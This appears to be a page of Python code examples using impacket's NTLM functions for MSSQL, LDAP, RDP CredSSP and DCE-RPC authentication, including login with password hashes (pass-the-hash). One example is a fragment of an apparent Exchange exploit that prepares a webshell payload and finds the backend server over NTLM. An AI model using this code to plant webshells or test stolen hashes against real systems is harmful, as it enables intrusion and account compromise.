def login(self, database, username, password='', domain='', hashes = None, useWindowsAuth = False):

        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = binascii.a2b_hex(lmhash)
            nthash = binascii.a2b_hex(nthash)
        else:
            lmhash = ''
            nthash = ''

        resp = self.preLogin()

        # Test this!
        if resp['Encryption'] != TDS_ENCRYPT_NOT_SUP:
            print ("Encryption not supported")

        login = TDS_LOGIN()

        login['HostName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le')
        login['AppName']  = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le')
        login['ServerName'] = self.server.encode('utf-16le')
        login['CltIntName']  = login['AppName']
        login['ClientPID'] = random.randint(0,1024)
        if database is not None:
            login['Database'] = database.encode('utf-16le')
        login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON

        if useWindowsAuth is True:
            login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
            # NTLMSSP Negotiate
            auth = ntlm.getNTLMSSPType1('WORKSTATION','')
            login['SSPI'] = str(auth)
        else:
            login['UserName'] = username.encode('utf-16le')
            login['Password'] = self.encryptPassword(password.encode('utf-16le'))
            login['SSPI'] = ''

        login['Length'] = len(str(login))

        self.sendTDS(TDS_LOGIN7, str(login))
        # Send the NTLMSSP Negotiate or SQL Auth Packet
        tds = self.recvTDS()

        if useWindowsAuth is True:
            serverChallenge = tds['Data'][3:]

            # Generate the NTLM ChallengeResponse AUTH 
            type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, username, password, domain, lmhash, nthash)

            self.sendTDS(TDS_SSPI, str(type3))
            tds = self.recvTDS()

        self.replies = self.parseReply(tds['Data'])

        if self.replies.has_key(TDS_LOGINACK_TOKEN):
            return True
        else:
            return False
Example #2
0
    def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'):
        """
        logins into the target system

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string authenticationChoice: type of authentication protocol to use (default NTLM)

        :return: True, raises a LDAPSessionError if error.
        """
        bindRequest = BindRequest()
        bindRequest['version'] = Integer7Bit(3)
        bindRequest['name'] = LDAPDN(user)

        if authenticationChoice == 'simple':
            bindRequest['authentication'] = AuthenticationChoice().setComponentByName(authenticationChoice,
                                                                                      AuthSimple(password))
            resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyPackageDiscovery':
            bindRequest['authentication'] = AuthenticationChoice().setComponentByName(authenticationChoice, '')
            resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyNegotiate':
            # Deal with NTLM Authentication
            if lmhash != '' or nthash != '':
                if len(lmhash) % 2:     lmhash = '0%s' % lmhash
                if len(nthash) % 2:     nthash = '0%s' % nthash
                try:  # just in case they were converted already
                    lmhash = unhexlify(lmhash)
                    nthash = unhexlify(nthash)
                except:
                    pass

            # NTLM Negotiate
            negotiate = getNTLMSSPType1('', domain)
            bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sicilyNegotiate', negotiate)
            resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']

            # NTLM Challenge
            type2 = resp['bindResponse']['matchedDN']

            # NTLM Auth
            type3, exportedSessionKey = getNTLMSSPType3(negotiate, str(type2), user, password, domain, lmhash, nthash)
            bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sicilyResponse', type3)
            resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
        else:
            raise LDAPSessionError(errorString='Unknown authenticationChoice %s' % authenticationChoice)

        if resp['bindResponse']['resultCode'] != 0:
            raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % (
                resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage']))

        return True
    def check_rdp(host, username, password, domain, hashes = None):

       if hashes is not None:
           lmhash, nthash = hashes.split(':')
           lmhash = a2b_hex(lmhash)
           nthash = a2b_hex(nthash)

       else:
           lmhash = ''
           nthash = ''

       tpkt = TPKT()
       tpdu = TPDU()
       rdp_neg = RDP_NEG_REQ()
       rdp_neg['Type'] = TYPE_RDP_NEG_REQ
       rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
       tpdu['VariablePart'] = str(rdp_neg)
       tpdu['Code'] = TDPU_CONNECTION_REQUEST
       tpkt['TPDU'] = str(tpdu)
   
       s = socket.socket()
       s.connect((host,3389))
       s.sendall(str(tpkt))
       pkt = s.recv(8192)
       tpkt.fromString(pkt)
       tpdu.fromString(tpkt['TPDU'])
       cr_tpdu = CR_TPDU(tpdu['VariablePart'])
       if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
           rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
           rdp_failure.dump()
           logging.error("Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials")
           return
       else:
           rdp_neg.fromString(tpdu['VariablePart'])

       # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation

       # 1. The CredSSP client and CredSSP server first complete the TLS handshake, 
       # as specified in [RFC2246]. After the handshake is complete, all subsequent 
       # CredSSP Protocol messages are encrypted by the TLS channel. 
       # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS 
       # handshake, the CredSSP server does not request the client's X.509 certificate 
       # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require 
       # the client to have a commonly trusted certification authority root with the 
       # CredSSP server. Thus, the CredSSP server MAY use, for example, 
       # a self-signed X.509 certificate.

       # Switching to TLS now
       ctx = SSL.Context(SSL.TLSv1_METHOD)
       ctx.set_cipher_list('RC4')
       tls = SSL.Connection(ctx,s)
       tls.set_connect_state()
       tls.do_handshake()

       # If you want to use Python internal ssl, uncomment this and comment 
       # the previous lines
       #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')

       # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client 
       # and server completes mutual authentication and establishes an encryption key 
       # that is used by the SPNEGO confidentiality services, as specified in [RFC4178]. 
       # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to 
       # the calling application (the CredSSP client and CredSSP server). 
       # The wire protocol for SPNEGO is specified in [MS-SPNG].
       # The SPNEGO tokens exchanged between the client and the server are encapsulated 
       # in the negoTokens field of the TSRequest structure. Both the client and the 
       # server use this structure as many times as necessary to complete the SPNEGO 
       # exchange.<9>
       #
       # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 
       # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth 
       # field is omitted by the client unless the client is sending the last SPNEGO token. 
       # If the client is sending the last SPNEGO token, the TSRequest structure MUST have 
       # both the negoToken and the pubKeyAuth fields filled in.

       # NTLMSSP stuff
       auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)

       ts_request = TSRequest()
       ts_request['NegoData'] = str(auth)

       tls.send(ts_request.getData())
       buff = tls.recv(4096)
       ts_request.fromString(buff)

   
       # 3. The client encrypts the public key it received from the server (contained 
       # in the X.509 certificate) in the TLS handshake from step 1, by using the 
       # confidentiality support of SPNEGO. The public key that is encrypted is the 
       # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 
       # certificate, as specified in [RFC3280] section 4.1. The encrypted key is 
       # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over 
       # the TLS channel to the server. 
       #
       # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 
       # from the TSRequest structure; the client MUST send its last SPNEGO token to the 
       # server in the negoTokens field (see step 2) along with the encrypted public key 
       # in the pubKeyAuth field.

       # Last SPNEGO token calculation
       ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
       type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)

       # Get server public key
       server_cert =  tls.get_peer_certificate()
       pkey = server_cert.get_pubkey()
       dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)

       # Fix up due to PyOpenSSL lack for exporting public keys
       dump = dump[7:]
       dump = '\x30'+ asn1encode(dump)

       cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
       signature, cripted_key = cipher.encrypt(dump)
       ts_request['NegoData'] = str(type3)
       ts_request['pubKeyAuth'] = str(signature) + cripted_key

       try:
           # Sending the Type 3 NTLM blob
           tls.send(ts_request.getData())
           # The other end is waiting for the pubKeyAuth field, but looks like it's
           # not needed to check whether authentication worked.
           # If auth is unsuccessful, it throws an exception with the previous send().
           # If auth is successful, the server waits for the pubKeyAuth and doesn't answer 
           # anything. So, I'm sending garbage so the server returns an error. 
           # Luckily, it's a different error so we can determine whether or not auth worked ;)
           buff = tls.recv(1024)
       except Exception, err:
           if str(err).find("denied") > 0:
               print "[*] Access Denied"
           else:
               logging.error(err)
           return
Example #4
0
    def login(self, database, username, password='', domain='', hashes = None, useWindowsAuth = False):

        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = binascii.a2b_hex(lmhash)
            nthash = binascii.a2b_hex(nthash)
        else:
            lmhash = ''
            nthash = ''

        resp = self.preLogin()
        # Test this!
        if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
            print "[!] Encryption required, switching to TLS"

            # Switching to TLS now
            ctx = SSL.Context(SSL.TLSv1_METHOD)
            ctx.set_cipher_list('RC4')
            tls = SSL.Connection(ctx,None)
            tls.set_connect_state()
            while True:
                try:
                    tls.do_handshake()
                except SSL.WantReadError:
                    data = tls.bio_read(4096)
                    self.sendTDS(TDS_PRE_LOGIN, data,0)
                    tds = self.recvTDS()
                    tls.bio_write(tds['Data'])
                else:
                    break

            # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, 
            # Transport Layer Security(TLS), limit data fragments to 16k in size.
            self.packetSize = 16*1024-1
            self.tlsSocket = tls 


        login = TDS_LOGIN()

        login['HostName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le')
        login['AppName']  = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le')
        login['ServerName'] = self.server.encode('utf-16le')
        login['CltIntName']  = login['AppName']
        login['ClientPID'] = random.randint(0,1024)
        login['PacketSize'] = self.packetSize
        if database is not None:
            login['Database'] = database.encode('utf-16le')
        login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON

        if useWindowsAuth is True:
            login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
            # NTLMSSP Negotiate
            auth = ntlm.getNTLMSSPType1('WORKSTATION','')
            login['SSPI'] = str(auth)
        else:
            login['UserName'] = username.encode('utf-16le')
            login['Password'] = self.encryptPassword(password.encode('utf-16le'))
            login['SSPI'] = ''

        login['Length'] = len(str(login))

        # Send the NTLMSSP Negotiate or SQL Auth Packet
        self.sendTDS(TDS_LOGIN7, str(login))

        # According to the spects, if encryption is not required, we must encrypt just 
        # the first Login packet :-o 
        if resp['Encryption'] == TDS_ENCRYPT_OFF:
            self.tlsSocket = None

        tds = self.recvTDS()


        if useWindowsAuth is True:
            serverChallenge = tds['Data'][3:]

            # Generate the NTLM ChallengeResponse AUTH 
            type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, username, password, domain, lmhash, nthash)

            self.sendTDS(TDS_SSPI, str(type3))
            tds = self.recvTDS()

        self.replies = self.parseReply(tds['Data'])

        if self.replies.has_key(TDS_LOGINACK_TOKEN):
            return True
        else:
            return False
Example #5
0
    def bind(self, uuid, alter = 0, bogus_binds = 0):
        bind = MSRPCBind()
        # Standard NDR Representation
        NDRSyntax   = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
        # NDR 64
        NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 
        #item['TransferSyntax']['Version'] = 1
        ctx = self._ctx
        for i in range(bogus_binds):
            item = CtxItem()
            item['ContextID'] = ctx
            item['TransItems'] = 1
            item['ContextID'] = ctx
            # We generate random UUIDs for bogus binds
            item['AbstractSyntax'] = generate() + stringver_to_bin('2.0')
            item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
            bind.addCtxItem(item)
            self._ctx += 1
            ctx += 1

        # The true one :)
        item = CtxItem()
        item['AbstractSyntax'] = uuid
        item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
        item['ContextID'] = ctx
        item['TransItems'] = 1
        bind.addCtxItem(item)

        packet = MSRPCHeader()
        packet['type'] = MSRPC_BIND
        packet['pduData'] = str(bind)
        packet['call_id'] = self.__callid

        if alter:
            packet['type'] = MSRPC_ALTERCTX

        if (self.__auth_level != RPC_C_AUTHN_LEVEL_NONE):
            if (self.__username is None) or (self.__password is None):
                self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials()
            if self.__auth_type == RPC_C_AUTHN_WINNT:
                auth = ntlm.getNTLMSSPType1('', self.__domain, signingRequired = True, use_ntlmv2 = self._transport.doesSupportNTLMv2())
            elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
                from impacket.dcerpc import netlogon
                auth = netlogon.getSSPType1(self.__username[:-1], self.__domain, signingRequired = True)

            sec_trailer = SEC_TRAILER()
            sec_trailer['auth_type']   = self.__auth_type
            sec_trailer['auth_level']  = self.__auth_level
            sec_trailer['auth_ctx_id'] = self._ctx + 79231 

            pad = (4 - (len(packet.get_packet()) % 4)) % 4
            if pad != 0:
               packet['pduData'] = packet['pduData'] + '\xFF'*pad
               sec_trailer['auth_pad_len']=pad

            packet['sec_trailer'] = sec_trailer
            packet['auth_data'] = str(auth)

        self._transport.send(packet.get_packet())

        s = self._transport.recv()

        if s != 0:
            resp = MSRPCHeader(s)
        else:
            return 0 #mmm why not None?

        if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R:
            bindResp = MSRPCBindAck(str(resp))
        elif resp['type'] == MSRPC_BINDNAK:
            resp = MSRPCBindNak(resp['pduData'])
            status_code = resp['RejectedReason']
            if rpc_status_codes.has_key(status_code):
                raise Exception(rpc_status_codes[status_code], resp)
            elif rpc_provider_reason.has_key(status_code):
                raise Exception("Bind context rejected: %s" % rpc_provider_reason[status_code])
            else:
                raise Exception('Unknown DCE RPC fault status code: %.8x' % status_code, resp)
        else:
            raise Exception('Unknown DCE RPC packet type received: %d' % resp['type'])

        # check ack results for each context, except for the bogus ones
        for ctx in range(bogus_binds+1,bindResp['ctx_num']+1):
            result = bindResp.getCtxItem(ctx)['Result']
            if result != 0:
                msg = "Bind context %d rejected: " % ctx
                msg += rpc_cont_def_result.get(result, 'Unknown DCE RPC context result code: %.4x' % result)
                msg += "; "
                reason = bindResp.getCtxItem(ctx)['Reason']
                msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason)
                if (result, reason) == (2, 1): # provider_rejection, abstract syntax not supported
                    msg += " (this usually means the interface isn't listening on the given endpoint)"
                raise Exception(msg, resp)

        self.__max_xmit_size = bindResp['max_tfrag']

        if self.__auth_level != RPC_C_AUTHN_LEVEL_NONE:
            if self.__auth_type == RPC_C_AUTHN_WINNT:
                response, randomSessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, use_ntlmv2 = self._transport.doesSupportNTLMv2())
                self.__flags = response['flags']
            elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
                response = None

            self.__sequence = 0

            if self.__auth_level in (RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY):
                if self.__auth_type == RPC_C_AUTHN_WINNT:
                    if self.__flags & ntlm.NTLMSSP_NTLM2_KEY:
                        self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)
                        self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server")
                        self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)
                        self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server")
                        # Preparing the keys handle states
                        cipher3 = ARC4.new(self.__clientSealingKey)
                        self.__clientSealingHandle = cipher3.encrypt
                        cipher4 = ARC4.new(self.__serverSealingKey)
                        self.__serverSealingHandle = cipher4.encrypt
                    else:
                        # Same key for everything
                        self.__clientSigningKey = randomSessionKey
                        self.__serverSigningKey = randomSessionKey
                        self.__clientSealingKey = randomSessionKey
                        self.__serverSealingKey = randomSessionKey
                        cipher = ARC4.new(self.__clientSigningKey)
                        self.__clientSealingHandle = cipher.encrypt
                        self.__serverSealingHandle = cipher.encrypt
                elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
                    pass

            sec_trailer = SEC_TRAILER()
            sec_trailer['auth_type'] = self.__auth_type
            sec_trailer['auth_level'] = self.__auth_level
            sec_trailer['auth_ctx_id'] = self._ctx + 79231 

            if response is not None:
                auth3 = MSRPCHeader()
                auth3['type'] = MSRPC_AUTH3
                # pad (4 bytes): Can be set to any arbitrary value when set and MUST be 
                # ignored on receipt. The pad field MUST be immediately followed by a 
                # sec_trailer structure whose layout, location, and alignment are as 
                # specified in section 2.2.2.11
                auth3['pduData'] = '    '
                auth3['sec_trailer'] = sec_trailer
                auth3['auth_data'] = str(response)

                # Use the same call_id
                self.__callid = resp['call_id']
                auth3['call_id'] = self.__callid
                self._transport.send(auth3.get_packet(), forceWriteAndx = 1)

            self.__callid += 1

        return resp     # means packet is signed, if verifier is wrong it fails
Example #6
0
    def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'):
        """
        logins into the target system

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string authenticationChoice: type of authentication protocol to use (default NTLM)

        :return: True, raises a LDAPSessionError if error.
        """
        bindRequest = BindRequest()
        bindRequest['version'] = 3

        if authenticationChoice == 'simple':
            if '.' in domain:
                bindRequest['name'] = user + '@' + domain
            elif domain:
                bindRequest['name'] = domain + '\\' + user
            else:
                bindRequest['name'] = user
            bindRequest['authentication']['simple'] = password
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyPackageDiscovery':
            bindRequest['name'] = user
            bindRequest['authentication']['sicilyPackageDiscovery'] = ''
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyNegotiate':
            # Deal with NTLM Authentication
            if lmhash != '' or nthash != '':
                if len(lmhash) % 2:
                    lmhash = '0' + lmhash
                if len(nthash) % 2:
                    nthash = '0' + nthash
                try:  # just in case they were converted already
                    lmhash = unhexlify(lmhash)
                    nthash = unhexlify(nthash)
                except TypeError:
                    pass

            bindRequest['name'] = user

            # NTLM Negotiate
            negotiate = getNTLMSSPType1('', domain)
            bindRequest['authentication']['sicilyNegotiate'] = negotiate
            response = self.sendReceive(bindRequest)[0]['protocolOp']

            # NTLM Challenge
            type2 = response['bindResponse']['matchedDN']

            # NTLM Auth
            type3, exportedSessionKey = getNTLMSSPType3(negotiate, str(type2), user, password, domain, lmhash, nthash)
            bindRequest['authentication']['sicilyResponse'] = type3
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        else:
            raise LDAPSessionError(errorString="Unknown authenticationChoice: '%s'" % authenticationChoice)

        if response['bindResponse']['resultCode'] != ResultCode('success'):
            raise LDAPSessionError(
                errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(),
                                                                response['bindResponse']['diagnosticMessage'])
            )

        return True
Example #7
0
    def bind(self, uuid, alter = 0, bogus_binds = 0):
        bind = MSRPCBind()
        # Standard NDR Representation
        NDRSyntax   = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
        # NDR 64
        NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 
        #item['TransferSyntax']['Version'] = 1
        ctx = self._ctx
        for i in range(bogus_binds):
            item = CtxItem()
            item['ContextID'] = ctx
            item['TransItems'] = 1
            item['ContextID'] = ctx
            # We generate random UUIDs for bogus binds
            item['AbstractSyntax'] = generate() + stringver_to_bin('2.0')
            item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
            bind.addCtxItem(item)
            self._ctx += 1
            ctx += 1

        # The true one :)
        item = CtxItem()
        item['AbstractSyntax'] = uuid
        item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
        item['ContextID'] = ctx
        item['TransItems'] = 1
        bind.addCtxItem(item)

        packet = MSRPCHeader()
        packet['type'] = MSRPC_BIND

        if alter:
            packet['type'] = MSRPC_ALTERCTX

        if (self.__auth_level != ntlm.NTLM_AUTH_NONE):
            if (self.__username is None) or (self.__password is None):
                self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials()
            auth = ntlm.getNTLMSSPType1('', self.__domain, True, isDCE = True)
            auth['auth_level']  = self.__auth_level
            auth['auth_ctx_id'] = self._ctx + 79231 

            pad = (8 - (len(packet.get_packet()) % 8)) % 8
            if pad != 0:
               packet['pduData'] = packet['pduData'] + '\xFF'*pad
               auth['auth_pad_len']=pad
            packet['auth_data'] = str(auth)

        packet['pduData'] = str(bind)
        packet['call_id'] = self.__callid
        self._transport.send(packet.get_packet())

        s = self._transport.recv()

        if s != 0:
            resp = MSRPCHeader(s)
        else:
            return 0 #mmm why not None?

        if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R:
            bindResp = MSRPCBindAck(str(resp))
        elif resp['type'] == MSRPC_BINDNAK:
            resp = MSRPCBindNak(resp['pduData'])
            status_code = resp['RejectedReason']
            if rpc_status_codes.has_key(status_code):
                raise Exception(rpc_status_codes[status_code], resp)
            else:
                raise Exception('Unknown DCE RPC fault status code: %.8x' % status_code, resp)
        else:
            raise Exception('Unknown DCE RPC packet type received: %d' % resp['type'])

        # check ack results for each context, except for the bogus ones
        for ctx in range(bogus_binds+1,bindResp['ctx_num']+1):
            result = bindResp.getCtxItem(ctx)['Result']
            if result != 0:
                msg = "Bind context %d rejected: " % ctx
                msg += rpc_cont_def_result.get(result, 'Unknown DCE RPC context result code: %.4x' % result)
                msg += "; "
                reason = bindResp.getCtxItem(ctx)['Reason']
                msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason)
                if (result, reason) == (2, 1): # provider_rejection, abstract syntax not supported
                    msg += " (this usually means the interface isn't listening on the given endpoint)"
                raise Exception(msg, resp)

        self.__max_xmit_size = bindResp['max_tfrag']

        if self.__auth_level != ntlm.NTLM_AUTH_NONE:
            response, randomSessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, True)
            response['auth_ctx_id'] = self._ctx + 79231 
            response['auth_level'] = self.__auth_level
            self.__flags = response['flags']

            if self.__auth_level in (ntlm.NTLM_AUTH_CONNECT, ntlm.NTLM_AUTH_PKT_INTEGRITY, ntlm.NTLM_AUTH_PKT_PRIVACY):
                if self.__flags & ntlm.NTLMSSP_NTLM2_KEY:
                    self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)
                    self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server")
                    self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)
                    self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server")
                    # Preparing the keys handle states
                    cipher3 = ARC4.new(self.__clientSealingKey)
                    self.__clientSealingHandle = cipher3.encrypt
                    cipher4 = ARC4.new(self.__serverSealingKey)
                    self.__serverSealingHandle = cipher4.encrypt
                else:
                    # Same key for everything
                    self.__clientSigningKey = randomSessionKey
                    self.__serverSigningKey = randomSessionKey
                    self.__clientSealingKey = randomSessionKey
                    self.__serverSealingKey = randomSessionKey
                    cipher = ARC4.new(self.__clientSigningKey)
                    self.__clientSealingHandle = cipher.encrypt
                    self.__serverSealingHandle = cipher.encrypt

            self.__sequence = 0

            auth3 = MSRPCHeader()
            auth3['type'] = MSRPC_AUTH3
            auth3['auth_data'] = str(response)

            # Use the same call_id
            self.__callid = resp['call_id']
            auth3['call_id'] = self.__callid
            self._transport.send(auth3.get_packet(), forceWriteAndx = 1)
            self.__callid += 1

        return resp     # means packet is signed, if verifier is wrong it fails
Example #8
0
    if '%' in webshell:
        raise Exception('payload may not contain %')
    if len(webshell) > 246:
        raise Exception('payload must be less than 246 bytes')
    if '\n' in webshell:
        print('Removing newlines from webshell')
        webshell = webshell.replace('\n', '')

    if not args.email and not args.sid:
        print('Must provide either an email or SID')
        sys.exit(1)

    if not args.backend:
        print('Retrieving backend via RPC')
        ntlmHash = str(base64.b64encode(
            ntlm.getNTLMSSPType1().getData()))[2:-1]
        r = requests.Request('RPC_IN_DATA',
                             f'{args.frontend}/rpc/rpcproxy.dll')
        r.headers['Authorization'] = f'NTLM {ntlmHash}'
        sess = requests.Session()
        if args.proxy:
            proxies = {'https': args.proxy}
        else:
            proxies = {}
        r = sess.send(r.prepare(), verify=False, proxies=proxies)
        if r.status_code != 401:
            raise Exception(f'RPC NTLM Session Auth received {r.status_code}')
        serverChallengeBase64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            r.headers['WWW-Authenticate']).group(1)
        serverChallenge = base64.b64decode(serverChallengeBase64)
Example #9
0
    def check_rdp(host, username, password, domain, hashes=None):

        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = bytes.fromhex(lmhash)
            nthash = bytes.fromhex(nthash)

        else:
            lmhash = ''
            nthash = ''

        tpkt = TPKT()
        tpdu = TPDU()
        rdp_neg = RDP_NEG_REQ()
        rdp_neg['Type'] = TYPE_RDP_NEG_REQ
        rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
        tpdu['VariablePart'] = rdp_neg.getData()
        tpdu['Code'] = TDPU_CONNECTION_REQUEST
        tpkt['TPDU'] = tpdu.getData()

        s = socket.socket()
        s.connect((host, 3389))
        s.sendall(tpkt.getData())
        pkt = s.recv(8192)
        tpkt.fromString(pkt)
        tpdu.fromString(tpkt['TPDU'])
        cr_tpdu = CR_TPDU(tpdu['VariablePart'])
        if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
            rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
            rdp_failure.dump()
            logging.error(
                "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
            )
            return
        else:
            rdp_neg.fromString(tpdu['VariablePart'])

        # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation

        # 1. The CredSSP client and CredSSP server first complete the TLS handshake,
        # as specified in [RFC2246]. After the handshake is complete, all subsequent
        # CredSSP Protocol messages are encrypted by the TLS channel.
        # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS
        # handshake, the CredSSP server does not request the client's X.509 certificate
        # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require
        # the client to have a commonly trusted certification authority root with the
        # CredSSP server. Thus, the CredSSP server MAY use, for example,
        # a self-signed X.509 certificate.

        # Switching to TLS now
        ctx = SSL.Context(SSL.TLSv1_2_METHOD)
        ctx.set_cipher_list(b'RC4,AES')
        tls = SSL.Connection(ctx, s)
        tls.set_connect_state()
        tls.do_handshake()

        # If you want to use Python internal ssl, uncomment this and comment
        # the previous lines
        #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')

        # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client
        # and server completes mutual authentication and establishes an encryption key
        # that is used by the SPNEGO confidentiality services, as specified in [RFC4178].
        # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to
        # the calling application (the CredSSP client and CredSSP server).
        # The wire protocol for SPNEGO is specified in [MS-SPNG].
        # The SPNEGO tokens exchanged between the client and the server are encapsulated
        # in the negoTokens field of the TSRequest structure. Both the client and the
        # server use this structure as many times as necessary to complete the SPNEGO
        # exchange.<9>
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
        # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
        # field is omitted by the client unless the client is sending the last SPNEGO token.
        # If the client is sending the last SPNEGO token, the TSRequest structure MUST have
        # both the negoToken and the pubKeyAuth fields filled in.

        # NTLMSSP stuff
        auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True)

        ts_request = TSRequest()
        ts_request['NegoData'] = auth.getData()

        tls.send(ts_request.getData())
        buff = tls.recv(4096)
        ts_request.fromString(buff)

        # 3. The client encrypts the public key it received from the server (contained
        # in the X.509 certificate) in the TLS handshake from step 1, by using the
        # confidentiality support of SPNEGO. The public key that is encrypted is the
        # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
        # certificate, as specified in [RFC3280] section 4.1. The encrypted key is
        # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
        # the TLS channel to the server.
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
        # from the TSRequest structure; the client MUST send its last SPNEGO token to the
        # server in the negoTokens field (see step 2) along with the encrypted public key
        # in the pubKeyAuth field.

        # Last SPNEGO token calculation
        #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
        type3, exportedSessionKey = ntlm.getNTLMSSPType3(
            auth,
            ts_request['NegoData'],
            username,
            password,
            domain,
            lmhash,
            nthash,
            use_ntlmv2=True)

        # Get server public key
        server_cert = tls.get_peer_certificate()
